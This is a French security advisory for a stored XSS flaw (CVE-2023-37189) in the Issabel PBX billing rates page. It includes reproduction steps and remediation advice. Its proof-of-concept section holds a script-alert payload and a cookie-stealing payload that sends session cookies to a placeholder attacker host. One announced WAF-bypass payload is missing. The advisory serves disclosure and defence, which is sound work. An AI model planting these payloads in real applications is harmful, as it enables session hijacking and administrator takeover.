CVE-2023-37189 — Issabel PBX 4.0.0-6 Cross-Site Scripting stocké (XSS)

Vue d'ensemble

Description

Une vulnérabilité de type Cross-Site Scripting stocké (XSS) existe dans Issabel PBX version 4.0.0-6 sur la page de gestion des tarifs d'appel (index.php?menu=billing_rates).

Issabel PBX est une plateforme de communications unifiées open source largement utilisée, construite sur FreePBX/Asterisk. Sa fonctionnalité Billing → Rates permet aux administrateurs de définir des entrées de tarifs d'appel avec un nom et un préfixe personnalisés. En raison d'une désinfection insuffisante des entrées et d'un encodage de sortie inadéquat, un attaquant authentifié peut injecter du HTML ou du JavaScript arbitraire dans l'un ou l'autre champ. Le script malveillant est ensuite stocké de manière persistante dans la base de données de l'application et exécuté automatiquement dans le navigateur de tout utilisateur qui consulte ensuite la page des tarifs — y compris les autres administrateurs — sans aucune interaction supplémentaire.

Cette classe de vulnérabilité est particulièrement dangereuse dans les panneaux d'administration parce que :

• Elle peut être utilisée pour détourner les cookies de session d'autres administrateurs, conduisant à une prise de contrôle totale du compte.
• Elle permet des attaques de phishing en modifiant l'apparence de la page servie aux victimes.
• Elle peut faciliter le vol de jetons CSRF, l'enregistrement de frappes clavier (keylogging) ou la redirection vers des sites malveillants.
• La charge utile persiste jusqu'à sa suppression explicite, ce qui signifie qu'elle peut affecter un nombre illimité de victimes au fil du temps.

Détails de la vulnérabilité

• Classe de vulnérabilité : Cross-Site Scripting stocké (persistant) (CWE-79)
• Vecteur d'attaque : Réseau
• Authentification requise : Oui (utilisateur authentifié à faibles privilèges ou compte administrateur)
• Interaction de l'utilisateur : Requise (la victime doit visiter la page des tarifs d'appel)
• Périmètre : Modifié (l'attaquant peut affecter les sessions navigateur d'autres utilisateurs)
• Cause racine : Absence d'encodage HTML / de désinfection de la sortie sur les champs Name et Prefix lors du rendu des valeurs stockées dans la page.

Preuve de concept

Les charges utiles suivantes, lorsqu'elles sont saisies dans le champ Name ou Prefix du formulaire Create New Rate, démontrent la vulnérabilité :

Alerte basique (vérification de fonctionnalité) :

<script>alert('XSS')</script>

Vol de cookie de session (remplacez attacker.example.com par un serveur que vous possédez et que vous êtes autorisé à utiliser — ne ciblez jamais de vrais utilisateurs ou systèmes) :

<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

Charge utile basée sur une image avec onerror (contournement du WAF) :

⚠️ Remarque : Ces charges utiles sont fournies strictement à des fins éducatives et de recherche en sécurité. Obtenez toujours une autorisation écrite appropriée avant de tester sur un système que vous ne possédez pas.

Étapes pour reproduire

1. Connectez-vous à l'interface web d'Issabel PBX avec un compte administrateur.

2. Accédez à Reports → Billing → Rates (URL : index.php?menu=billing_rates).

3. Cliquez sur « Create New Rate » et saisissez une charge utile XSS spécialement conçue dans le champ Prefix ou Name.

   

4. Cliquez sur Enregistrer. La charge utile est maintenant stockée dans la base de données.

5. Tout utilisateur (y compris les autres administrateurs) qui visite la page des tarifs d'appel verra le script exécuté automatiquement dans son navigateur.

   

   

Impact

• Détournement de session : Les attaquants peuvent voler les cookies de session et usurper l'identité d'autres utilisateurs ou administrateurs.
• Élévation de privilèges : En détournant une session administrateur, un attaquant à faibles privilèges peut obtenir un contrôle administratif total.
• Exfiltration de données : Les informations sensibles visibles sur la page peuvent être exfiltrées silencieusement.
• Porte dérobée persistante : La charge utile reste active jusqu'à sa suppression manuelle, ce qui en fait une menace persistante.

Atténuation / Remédiation

Le fournisseur et les administrateurs système sont invités à appliquer les contre-mesures suivantes :

1. Encodage de sortie : Appliquez un encodage HTML contextuel lors du rendu des valeurs stockées dans la page HTML (par exemple, utilisez htmlspecialchars() en PHP avec ENT_QUOTES). Il s'agit de la défense principale et la plus fiable contre le XSS.
2. Validation des entrées : En tant que mesure de défense en profondeur secondaire, rejetez ou désinfectez les entrées fournies par l'utilisateur côté serveur. Supprimez ou encodez les caractères spéciaux HTML (<, >, ", ', &) avant de stocker les données. Notez que la validation des entrées seule peut être contournée et ne doit pas être considérée comme le seul contrôle.
3. Content Security Policy (CSP) : Déployez un en-tête HTTP Content-Security-Policy strict pour restreindre l'exécution de scripts en ligne.
4. Pare-feu applicatif web (WAF) : Utilisez un WAF avec des règles de détection XSS comme mesure de défense en profondeur.
5. Audits de sécurité réguliers : Effectuez des revues de code périodiques et des tests d'intrusion sur tous les champs d'entrée contrôlés par l'utilisateur.

Références

• NVD – CVE-2023-37189
• MITRE CVE – CVE-2023-37189
• OWASP : Cross-Site Scripting (XSS)
• CWE-79 : Neutralisation incorrecte des entrées lors de la génération de pages Web
• Issabel PBX – Site officiel
• IssabelFoundation/issabelPBX – GitHub

Avertissement

Ce dépôt et les informations qu'il contient sont fournis uniquement à des fins éducatives et de recherche en sécurité. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par les informations fournies. Obtenez toujours une autorisation écrite explicite du propriétaire du système avant d'effectuer tout test de sécurité.

Découvert et signalé par Sahil Ojha